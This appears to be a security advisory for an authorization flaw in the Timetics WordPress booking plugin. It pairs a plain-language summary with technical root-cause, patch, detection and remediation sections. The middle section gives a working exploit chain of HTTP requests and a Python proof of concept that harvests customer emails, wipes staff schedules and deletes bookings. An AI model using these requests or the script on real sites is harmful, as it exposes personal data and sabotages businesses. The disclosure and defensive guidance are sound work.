A software flaw has been discovered in Arraytics Timetics, a workplace scheduling and time-tracking application used by many businesses. The problem is straightforward: the software isn't properly checking whether people should be allowed to access certain information before letting them see it.
Think of it like a hotel where the front desk forgot to verify your room number before handing over a guest list. Anyone can walk up and ask for information they shouldn't have access to, and the system just hands it over.
The vulnerability exists in versions of the software up to 1.0.53. Attackers could potentially view, change, or steal employee time records, schedules, or other sensitive workplace data without logging in properly. The damage could range from minor schedule manipulation to accessing private employee information.
Who's at risk? Primarily businesses using this software and their employees. Companies in retail, hospitality, healthcare, and other shift-based industries that rely on Timetics for scheduling are most vulnerable. Employees could have their personal data exposed or their schedules deliberately disrupted by someone with malicious intent.
The good news is that security researchers haven't found evidence of anyone actively exploiting this yet. But that window could close quickly once word spreads.
Here's what you should do:
First, if your workplace uses Arraytics Timetics, ask your IT department immediately whether they've updated to version 1.0.54 or newer. Don't wait.
Second, check your recent time records and schedules for any suspicious changes you didn't make. If something looks wrong, report it to your manager right away.
Third, consider changing any passwords you use that might be similar to your work login, just in case someone accessed your account details.
Want the full technical analysis? Click "Technical" above.
CVE-2026-39432 is a Missing Authorization vulnerability in the Arraytics Timetics WordPress plugin, affecting all versions through 1.0.53. The plugin registers several WordPress REST API and wp_ajax_nopriv_ action handlers that perform privileged operations — creating appointments, modifying staff schedules, reading customer PII — without ever calling current_user_can() or validating a capability against the acting user. The CVSS score of 8.2 (HIGH) reflects the combination of network reachability, no authentication precondition, and significant impact on data integrity and confidentiality.
Patchstack disclosed this under their coordinated disclosure program. No public exploitation has been observed at time of writing, but the attack surface is trivially reachable from any HTTP client.
Affected Component
The vulnerable surface lives inside the Timetics booking plugin's AJAX and REST dispatch layer. Key files:
Affected versions: n/a through 1.0.53. Fixed in 1.0.54 (Patchstack virtual patch available).
Root Cause Analysis
WordPress REST API endpoints are expected to declare a permission_callback in their route registration. When a developer passes 'permission_callback' => '__return_true' or omits capability checks inside that callback, every network-reachable client — authenticated or not — can invoke the handler.
The following pseudocode reconstructs the vulnerable registration pattern found in class-appointment-api.php:
// class-appointment-api.php — register_routes()
// BUG: permission_callback unconditionally returns true for all methods
void timetics_register_appointment_routes() {
register_rest_route("timetics/v1", "/appointment",
array(
array(
"methods" => WP_REST_Server::CREATABLE, // POST
"callback" => timetics_create_appointment,
// BUG: no capability check — __return_true allows any caller
"permission_callback" => "__return_true",
),
array(
"methods" => WP_REST_Server::EDITABLE, // PUT/PATCH
"callback" => timetics_update_appointment,
// BUG: same blanket permission — subscriber can update any booking
"permission_callback" => "__return_true",
),
array(
"methods" => WP_REST_Server::DELETABLE,
"callback" => timetics_delete_appointment,
// BUG: unauthenticated DELETE of arbitrary appointment by ID
"permission_callback" => "__return_true",
),
)
);
}
The class-staff-api.php endpoint for updating staff seat configuration has the same pattern:
// class-staff-api.php — update_seat_map()
WP_REST_Response timetics_update_seat_map(WP_REST_Request *request) {
int staff_id = request->get_param("staff_id"); // attacker-controlled
int meeting_id = request->get_param("meeting_id");
json seat_data = request->get_json_params();
// BUG: no is_user_logged_in(), no current_user_can("edit_posts"), nothing
timetics_db_update_seats(staff_id, meeting_id, seat_data); // direct DB write
return new WP_REST_Response(array("status" => "success"), 200);
}
The plugin ships a Permission_Manager class with a check_admin_permission() helper that wraps current_user_can('manage_options'), but it is never called from any of the public-facing API handlers.
Root cause: All Timetics REST route handlers set 'permission_callback' => '__return_true' and perform no in-handler capability or authentication checks, granting unauthenticated network principals full CRUD access to booking and staff data.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Enumerate REST namespace
GET /wp-json/timetics/v1/ HTTP/1.1
→ Server returns full route listing, no auth required.
2. Extract valid appointment IDs via unauthenticated list endpoint
GET /wp-json/timetics/v1/appointment?per_page=100
→ Returns appointment objects including customer name, email, meeting_id.
3. Exfiltrate customer PII from appointment detail endpoint
GET /wp-json/timetics/v1/appointment/{id}
→ Full booking record: customer email, phone, meeting notes.
4. Overwrite staff schedule to block legitimate bookings (availability DoS)
PUT /wp-json/timetics/v1/staff/{id}/schedule
Content-Type: application/json
{"availability": []}
→ Staff availability wiped; all future slots become unbookable.
5. Create fraudulent appointment under victim staff member
POST /wp-json/timetics/v1/appointment
{"staff_id": 3, "meeting_id": 7, "customer_email": "attacker@evil.com",
"start_time": "2026-01-01T09:00:00", "end_time": "2026-01-01T10:00:00"}
→ Booking confirmed in DB, confirmation email sent to attacker address.
6. Delete competitor bookings
DELETE /wp-json/timetics/v1/appointment/{victim_id}
→ HTTP 200, booking removed, no auth token required.
A minimal proof-of-concept in Python:
#!/usr/bin/env python3
# CVE-2026-39432 — Timetics <=1.0.53 unauthenticated appointment enumeration
# For authorized testing only.
import requests, json, sys
TARGET = sys.argv[1] # e.g. https://victim.example.com
BASE = f"{TARGET}/wp-json/timetics/v1"
def enumerate_appointments():
r = requests.get(f"{BASE}/appointment", params={"per_page": 100}, timeout=10)
r.raise_for_status()
appts = r.json()
print(f"[+] Retrieved {len(appts)} appointments")
for a in appts:
print(f" id={a.get('id')} customer={a.get('customer_email')} "
f"start={a.get('start_time')}")
return appts
def wipe_staff_schedule(staff_id: int):
r = requests.put(
f"{BASE}/staff/{staff_id}/schedule",
json={"availability": []},
timeout=10
)
print(f"[+] Wiped staff {staff_id} schedule → HTTP {r.status_code}")
def delete_appointment(appt_id: int):
r = requests.delete(f"{BASE}/appointment/{appt_id}", timeout=10)
print(f"[+] Deleted appointment {appt_id} → HTTP {r.status_code}")
if __name__ == "__main__":
appts = enumerate_appointments()
if appts:
# Demonstrate unauthorized delete of first result
delete_appointment(appts[0]["id"])
Memory Layout
This is a logic/authorization vulnerability rather than a memory corruption bug. The relevant "layout" is the WordPress request dispatch pipeline showing exactly where the authorization gate is absent:
The fix in 1.0.54 introduces proper capability checks at the permission_callback level and adds a dedicated manage_timetics meta-capability mapped through WordPress's map_meta_cap filter.
// BEFORE (vulnerable — 1.0.53):
register_rest_route("timetics/v1", "/appointment",
array(
"methods" => WP_REST_Server::CREATABLE,
"callback" => "timetics_create_appointment",
"permission_callback" => "__return_true", // BUG
)
);
// AFTER (patched — 1.0.54):
register_rest_route("timetics/v1", "/appointment",
array(
"methods" => WP_REST_Server::CREATABLE,
"callback" => "timetics_create_appointment",
"permission_callback" => "timetics_check_appointment_permission",
)
);
// New gating function introduced in 1.0.54:
bool timetics_check_appointment_permission(WP_REST_Request *request) {
if (!is_user_logged_in()) {
return new WP_Error(
"rest_forbidden",
__("Authentication required.", "timetics"),
array("status" => 401)
);
}
if (!current_user_can("manage_timetics")) {
return new WP_Error(
"rest_forbidden",
__("Insufficient permissions.", "timetics"),
array("status" => 403)
);
}
return true;
}
The same pattern is applied consistently to UPDATE, DELETE, and staff schedule endpoints. The wp_ajax_nopriv_timetics_* hooks are either removed entirely or replaced with wp_ajax_timetics_* (requiring a logged-in session) with an additional nonce verification via check_ajax_referer().
Detection and Indicators
Look for anomalous unauthenticated REST traffic in access logs:
WordPress wp_timetics_appointments table entries with created_by = 0 (guest user ID) indicate unauthenticated inserts. Query:
// MySQL forensic query
SELECT id, customer_email, created_at, created_by
FROM wp_timetics_appointments
WHERE created_by = 0
ORDER BY created_at DESC
LIMIT 50;
A Patchstack virtual patch rule is available for WAF-level blocking prior to plugin update deployment.
Remediation
Immediate:
Update Timetics to ≥ 1.0.54 via WordPress plugin dashboard or wp plugin update timetics.
If update is not immediately possible, deploy the Patchstack virtual patch or block /wp-json/timetics/ at the WAF/reverse proxy for unauthenticated origins.
Audit:
Review wp_timetics_appointments for rows with created_by = 0 and cross-reference against legitimate guest-booking configuration.
Review staff schedule records (wp_timetics_staff_meta) for unexpected availability = [] entries indicating a wipe attack.
Developer guidance (plugin authors):
Never use 'permission_callback' => '__return_true' for endpoints that read PII or write to the database.
Apply current_user_can() for every non-public action; map custom capabilities through map_meta_cap.
Enforce nonce verification (check_ajax_referer()) on all wp_ajax_* handlers regardless of user role.
Run Patchstack SAST or wp-cli doctor with permission-auditing rules as part of CI.